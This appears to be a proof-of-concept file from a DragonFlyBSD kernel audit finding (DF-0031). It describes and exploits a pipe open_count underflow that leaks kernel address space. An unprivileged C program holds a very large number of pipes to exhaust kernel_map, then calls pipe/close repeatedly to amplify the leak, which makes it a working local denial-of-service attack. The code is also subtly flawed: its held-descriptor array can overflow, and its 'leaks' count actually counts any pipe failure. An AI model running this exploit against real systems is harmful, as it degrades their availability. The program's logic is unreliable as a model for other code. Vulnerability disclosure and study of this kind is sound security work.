DragonFlyBSD Kernel Audit
DF-0031 / pipe_leak.c
← back to finding ↓ download raw
/*
 * DF-0031 PoC - pipe->open_count underflow on pipe_create partial failure
 *              leaks kernel KVA + pipe struct (memory-pressure amplification).
 *
 * pipe_create (sys/kern/sys_pipe.c:433) sets *pipep=pipe BEFORE the pipespace()
 * calls (:434/:437) and only sets open_count=2 at :445 AFTER both succeed. If
 * pipespace(&bufferB) fails (vm_map_find ENOMEM on kernel_map), pipe_create
 * returns with open_count still 0 (M_ZERO at :426). kern_pipe's error path
 * (:287-288) then calls pipeclose() twice; each pipeclose does
 * atomic_fetchadd_int(&open_count, -1) at :1272 and only frees when the OLD
 * value == 1. With open_count=0 the sequence is 0 -> 0xFFFFFFFF -> 0xFFFFFFFE,
 * never 1, so the pipe struct and bufferA's KVA are leaked permanently and
 * open_count is corrupted.
 *
 * Reachability: an unprivileged user allocating many pipes consumes kernel_map
 * KVA (each pipe ~ 2*pipe_size). As kernel_map approaches exhaustion, new
 * pipe_create calls hit the second-pipespace failure and leak further,
 * self-amplifying the pressure. Pure availability amplification (KVA/struct
 * leak), no confidentiality/integrity impact.
 *
 * Build (DragonFlyBSD):  cc -o pipe_leak pipe_leak.c
 * Run as an UNPRIVILEGED user (disposable VM):  ./pipe_leak
 *
 * Expected (bug present): under kernel_map pressure, repeated pipe(2)+close
 * leaks KVA/structs (observe via vmstat -z / pipe-zone count growth, or
 * kernel_map free-space shrinkage). No panic on its own.
 */

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>

int
main(void)
{
	long opened = 0, leaks = 0;

	/*
	 * Step 1: open a great many pipes (and keep them) to push kernel_map
	 * toward exhaustion. Each open pipe holds ~2*pipe_size of KVA.
	 */
	enum { HOLD = 200000 };
	static int held[HOLD];
	int n = 0;
	for (long i = 0; i < HOLD; i++) {
		int p[2];
		if (pipe(p) != 0)
			break;
		held[n++] = p[0];
		held[n++] = p[1];
	}
	fprintf(stderr, "[*] holding %d pipe fds to build kernel_map pressure\n", n);

	/*
	 * Step 2: hammer pipe(2)+close. Once kernel_map is tight, the second
	 * pipespace() in some pipe_create calls fails and leaks the struct +
	 * bufferA KVA via the open_count underflow.
	 */
	for (long i = 0; i < 1000000L; i++) {
		int p[2];
		if (pipe(p) == 0) {
			opened++;
			close(p[0]);
			close(p[1]);
		} else {
			leaks++;	/* pipe() failed -> likely the bufferB-pipespace failure */
		}
	}
	fprintf(stderr, "[*] opened=%ld  failures(likely underflow-leak path)=%ld\n",
	    opened, leaks);
	fprintf(stderr, "[*] check `vmstat -z` / pipe zone and kernel_map free"
	    " space for cumulative KVA/struct leak\n");
	return 0;
}